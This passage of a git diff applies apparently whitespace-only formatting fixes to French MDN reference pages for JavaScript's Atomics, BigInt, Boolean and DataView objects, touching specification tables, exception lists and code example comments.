si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/index.md b/files/fr/web/javascript/reference/global_objects/atomics/index.md index 7c73460000..ce1ad00639 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/index.md @@ -59,7 +59,7 @@ Le méthodes `wait`() et `notify()` sont basées sur les _futex_ Linux (selon le | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | -| {{SpecName('ESDraft', '#sec-atomics-object', 'Atomics')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-atomics-object', 'Atomics')}} | {{Spec2('ESDraft')}} | | | {{SpecName('ES8', '#sec-atomics-object', 'Atomics')}} | {{Spec2('ES8')}} | Définition initiale. | ## Compatibilité des navigateurs @@ -71,7 +71,7 @@ Le méthodes `wait`() et `notify()` sont basées sur les _futex_ Linux (selon le Avant Firefox 48 {{geckoRelease(48)}}, les noms les plus récents et la sémantique la plus récente n'étaient pas encore implémentés. Les changements qui ont eu lieu entre la version 46 et la version 48 de Firefox sont : - Les méthodes `Atomics.futexWakeOrRequeue()` et `Atomics.fence()` sont désormais complètement retirées (cf. {{bug(1259544)}} et {{bug(1225028)}}). -- Les méthodes {{jsxref("Atomics.wait()")}} et {{jsxref("Atomics.wake()")}} qui étaient nommées `Atomics.futexWait()` ete `Atomics.futexWake()` (cf. {{bug(1260910)}}). Les anciens noms seront définitivement supprimés à partir de la version 49 ({{bug(1262062)}}). `Atomics.wake()` a été renommé en `Atomics.notify()` à partir de la version 63. +- Les méthodes {{jsxref("Atomics.wait()")}} et {{jsxref("Atomics.wake()")}} qui étaient nommées `Atomics.futexWait()` ete `Atomics.futexWake()` (cf. {{bug(1260910)}}). Les anciens noms seront définitivement supprimés à partir de la version 49 ({{bug(1262062)}}). `Atomics.wake()` a été renommé en `Atomics.notify()` à partir de la version 63. - Les propriétés `Atomics.OK`, `Atomics.TIMEDOUT`, `Atomics.NOTEQUAL` ont été retirées. La méthode {{jsxref("Atomics.wait()")}} renvoie désormais les chaînes de caractères `"ok"`, `"timed-out"` ou `"not-equal"` (cf. {{bug(1260835)}}). - Le paramètre `count` de la méthode {{jsxref("Atomics.wake()")}} a été modifié, sa valeur par défaut est désormais `+Infinity` et non `0` ({{bug(1253350)}}). diff --git a/files/fr/web/javascript/reference/global_objects/atomics/load/index.md b/files/fr/web/javascript/reference/global_objects/atomics/load/index.md index 30f33f6e55..3352d97a0d 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/load/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/load/index.md @@ -33,7 +33,7 @@ La valeur à la position indiquée (`typedArray[index]`). ### Exceptions levées -- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/or/index.md b/files/fr/web/javascript/reference/global_objects/atomics/or/index.md index bf7ea1613d..cc8676116b 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/or/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/or/index.md @@ -35,7 +35,7 @@ L'ancienne valeur contenue à l'emplacement du tableau (`typedArray[index]`). ### Exceptions levées -- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/store/index.md b/files/fr/web/javascript/reference/global_objects/atomics/store/index.md index 5f0d594d97..b07bf9fe28 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/store/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/store/index.md @@ -35,7 +35,7 @@ La valeur qui a été enregistrée. ### Exceptions -- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/sub/index.md b/files/fr/web/javascript/reference/global_objects/atomics/sub/index.md index e8a668d985..9d983af59e 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/sub/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/sub/index.md @@ -35,7 +35,7 @@ L'ancienne valeur qui était contenue à (`typedArray[index]`). ### Exceptions levées -- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/xor/index.md b/files/fr/web/javascript/reference/global_objects/atomics/xor/index.md index 1b461ac036..6c8dc3c2fc 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/xor/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/xor/index.md @@ -35,7 +35,7 @@ L'ancienne valeur située à cet emplacement du tableau (`typedArray[index]`). ### Exceptions -- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/bigint/tolocalestring/index.md b/files/fr/web/javascript/reference/global_objects/bigint/tolocalestring/index.md index ba569b8723..9f0e47dc94 100644 --- a/files/fr/web/javascript/reference/global_objects/bigint/tolocalestring/index.md +++ b/files/fr/web/javascript/reference/global_objects/bigint/tolocalestring/index.md @@ -89,7 +89,7 @@ var bigint = 123456789123456789n; // On utilise un format avec une devise console.log(bigint.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' })); -// → 123.456.789.123.456.789,00 € +// → 123.456.789.123.456.789,00 € // Le yen japonais n'utilise pas de sous-unité console.log(bigint.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' })) diff --git a/files/fr/web/javascript/reference/global_objects/bigint/tostring/index.md b/files/fr/web/javascript/reference/global_objects/bigint/tostring/index.md index b1fdcdbef7..49e14b5dbd 100644 --- a/files/fr/web/javascript/reference/global_objects/bigint/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/bigint/tostring/index.md @@ -52,7 +52,7 @@ Si `bigIntObj` est négatif, le signe est conservé, y compris lorsque la base e 17n.toString(); // '17' 66n.toString(2); // '1000010' 254n.toString(16); // 'fe' --10n.toString(2); // -1010' +-10n.toString(2); // -1010' -0xffn.toString(2); // '-11111111' ``` diff --git a/files/fr/web/javascript/reference/global_objects/boolean/index.md b/files/fr/web/javascript/reference/global_objects/boolean/index.md index 970556573d..16c9bf75eb 100644 --- a/files/fr/web/javascript/reference/global_objects/boolean/index.md +++ b/files/fr/web/javascript/reference/global_objects/boolean/index.md @@ -28,7 +28,7 @@ La valeur passée en premier paramètre est, si nécessaire, convertie en valeur Ne pas confondre les valeurs primitives booléennes `true` et `false` avec les valeurs _true_ et _false_ d'un objet Booléen. -Tout objet dont la valeur n'est ni `undefined` ni `null`, incluant un objet Booléen dont la valeur est fausse, évalue à `true` lorsqu'il est à une instruction conditionnelle. Par exemple, la condition (voir {{jsxref("Instructions/if...else", "if")}}), dans le code suivant, est validée si l'expression est évaluée à `true` : +Tout objet dont la valeur n'est ni `undefined` ni `null`, incluant un objet Booléen dont la valeur est fausse, évalue à `true` lorsqu'il est à une instruction conditionnelle. Par exemple, la condition (voir {{jsxref("Instructions/if...else", "if")}}), dans le code suivant, est validée si l'expression est évaluée à `true` : ```js var x = new Boolean("false"); diff --git a/files/fr/web/javascript/reference/global_objects/boolean/tostring/index.md b/files/fr/web/javascript/reference/global_objects/boolean/tostring/index.md index d3c00ab270..a962d7771a 100644 --- a/files/fr/web/javascript/reference/global_objects/boolean/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/boolean/tostring/index.md @@ -48,9 +48,9 @@ var maVar = flag.toString(); | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.6.4.2', 'Boolean.prototype.toString')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.6.4.2', 'Boolean.prototype.toString')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/boolean/valueof/index.md b/files/fr/web/javascript/reference/global_objects/boolean/valueof/index.md index 78b325ede5..1cc6cf14f7 100644 --- a/files/fr/web/javascript/reference/global_objects/boolean/valueof/index.md +++ b/files/fr/web/javascript/reference/global_objects/boolean/valueof/index.md @@ -44,9 +44,9 @@ var maVar = x.valueOf() // assigne false à maVar | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.6.4.3', 'Boolean.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.6.4.3', 'Boolean.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/buffer/index.md b/files/fr/web/javascript/reference/global_objects/dataview/buffer/index.md index 879a678bf9..0036b6a81f 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/buffer/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/buffer/index.md @@ -40,7 +40,7 @@ dataview.buffer; // ArrayBuffer { byteLength: 8 } | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/bytelength/index.md b/files/fr/web/javascript/reference/global_objects/dataview/bytelength/index.md index 728d7c3820..3ef748ebed 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/bytelength/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/bytelength/index.md @@ -23,7 +23,7 @@ L'accesseur **`byteLength`** est une propriété représentant la longueur, expr ## Description -La propriété `byteLength` est une propriété accesseur/mutateur dont le mutateur vaut `undefined`. Cela signifie que cette propriété est en lecture seule. Cette valeur est déterminée lorsque l'objet `DataView` est construit et ne peut pas être changée. Si `DataView` ne définit pas de décalage avec `byteOffset` ou ne spécifie pas `byteLength`, ce sera la `byteLength` de l'objet `ArrayBuffer` ou `SharedArrayBuffer` référencé qui sera renvoyée. +La propriété `byteLength` est une propriété accesseur/mutateur dont le mutateur vaut `undefined`. Cela signifie que cette propriété est en lecture seule. Cette valeur est déterminée lorsque l'objet `DataView` est construit et ne peut pas être changée. Si `DataView` ne définit pas de décalage avec `byteOffset` ou ne spécifie pas `byteLength`, ce sera la `byteLength` de l'objet `ArrayBuffer` ou `SharedArrayBuffer` référencé qui sera renvoyée. ## Exemples @@ -46,7 +46,7 @@ dataview3.byteLength; // 6 (en raison du décalage (offset) pour la construction | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/byteoffset/index.md b/files/fr/web/javascript/reference/global_objects/dataview/byteoffset/index.md index ec2f25d33a..c843ecefea 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/byteoffset/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/byteoffset/index.md @@ -23,7 +23,7 @@ La propriété **`byteOffset`** est un accesseur représentant le décalage, exp ## Description -La propriété `byteOffset` est un accesseur/mutateur dont la fonction du mutateur vaut `undefined`. Cela signifie que la propriété n'est accesssible qu'en lecture seule. La valeur de la propriété est définie lors de la construction de l'objet `DataView` et ne peut pas être modifiée. +La propriété `byteOffset` est un accesseur/mutateur dont la fonction du mutateur vaut `undefined`. Cela signifie que la propriété n'est accesssible qu'en lecture seule. La valeur de la propriété est définie lors de la construction de l'objet `DataView` et ne peut pas être modifiée. ## Exemples @@ -43,7 +43,7 @@ dataview2.byteOffset; // 3 (décalage défini lors de la construction de la vue) | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getfloat32/index.md b/files/fr/web/javascript/reference/global_objects/dataview/getfloat32/index.md index 94e7f06fba..1bde7ffa15 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/getfloat32/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/getfloat32/index.md @@ -57,7 +57,7 @@ dataview.getFloat32(1); // 0 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getfloat64/index.md b/files/fr/web/javascript/reference/global_objects/dataview/getfloat64/index.md index dc7d43000f..944017f2f7 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/getfloat64/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/getfloat64/index.md @@ -57,7 +57,7 @@ dataview.getFloat64(0); // 0 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getint16/index.md b/files/fr/web/javascript/reference/global_objects/dataview/getint16/index.md index 0d42b98be8..fa1cae8ed8 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/getint16/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/getint16/index.md @@ -57,7 +57,7 @@ dataview.getInt16(1); // 0 | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getint32/index.md b/files/fr/web/javascript/reference/global_objects/dataview/getint32/index.md index c611ff5885..5c397df0f1 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/getint32/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/getint32/index.md @@ -57,7 +57,7 @@ dataview.getInt32(1); // 0 | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getint8/index.md b/files/fr/web/javascript/reference/global_objects/dataview/getint8/index.md index 137c728e37..9b22ee6798 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/getint8/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/getint8/index.md @@ -55,7 +55,7 @@ dataview.getInt8(1); // 0 | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getuint16/index.md b/files/fr/web/javascript/reference/global_objects/dataview/getuint16/index.md index c3da190fe2..a39e0e03c0 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/getuint16/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/getuint16/index.md @@ -57,7 +57,7 @@ dataview.getUint16(1); // 0 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.getuint16', 'DataView.prototype.getUint16')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getuint32/index.md b/files/fr/web/javascript/reference/global_objects/dataview/getuint32/index.md index d45830129d..7ac295ef24 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/getuint32/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/getuint32/index.md @@ -57,7 +57,7 @@ dataview.getUint32(1); // 0 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.getuint32', 'DataView.prototype.getUint32')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getuint8/index.md b/files/fr/web/javascript/reference/global_objects/dataview/getuint8/index.md index b49458a38a..000647ab08 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/getuint8/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/getuint8/index.md @@ -55,7 +55,7 @@ dataview.getUint8(1); // 0 | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.getuint8', 'DataView.prototype.getUint8')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/index.md b/files/fr/web/javascript/reference/global_objects/dataview/index.md index 23cfa94e7f..59b4372659 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/index.md @@ -23,7 +23,7 @@ La vue **`DataView`** fournit une interface de bas niveau pour lire et écrire d ### Paramètres - `buffer` - - : Un {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}}{{experimental_inline}} existant à utiliser pour la mise en mémoire du nouvel objet `DataView`. + - : Un {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}}{{experimental_inline}} existant à utiliser pour la mise en mémoire du nouvel objet `DataView`. - `décalageOctets` {{optional_inline}} - : Le décalage, exprimé en octets, pour trouver le premier octet significatif du buffer à représenter dans la vue. Si ce paramètre n'est pas fourni, la vue commencera au premier octet du buffer. - `longueurOctets` {{optional_inline}} diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setfloat32/index.md b/files/fr/web/javascript/reference/global_objects/dataview/setfloat32/index.md index 2ab89de9f2..67865a272c 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/setfloat32/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/setfloat32/index.md @@ -56,7 +56,7 @@ dataview.getFloat32(1); // 3 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setfloat64/index.md b/files/fr/web/javascript/reference/global_objects/dataview/setfloat64/index.md index c374e3732b..4824e04210 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/setfloat64/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/setfloat64/index.md @@ -56,7 +56,7 @@ dataview.getFloat64(0); // 3 | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.setfloat64', 'DataView.prototype.setFloat64')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setint16/index.md b/files/fr/web/javascript/reference/global_objects/dataview/setint16/index.md index 60e26fd516..6bf94913f2 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/setint16/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/setint16/index.md @@ -56,7 +56,7 @@ dataview.getInt16(1); // 3 | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée par ECMAScript 2015 (ES6). | | {{SpecName('ES2015', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.setint16', 'DataView.prototype.setInt16')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setint32/index.md b/files/fr/web/javascript/reference/global_objects/dataview/setint32/index.md index 65e8802da3..676178fa20 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/setint32/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/setint32/index.md @@ -56,7 +56,7 @@ dataview.getInt32(1); // 3 | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée par ECMAScript 2015. | | {{SpecName('ES2015', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-dataview.prototype.setint32', 'DataView.prototype.setInt32')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/dataview/setint8/index.md b/files/fr/web/javascript/reference/global_objects/dataview/setint8/index.md index 80f169d855..989ebb5aff 100644 --- a/files/fr/web/javascript/reference/global_objects/dataview/setint8/index.md +++ b/files/fr/web/javascript/reference/global_objects/dataview/setint8/index.md @@ -54,7 +54,7 @@ dataview.getInt8(1); // 3 | -------------------------------------------------------------------------------------------------------------------- | 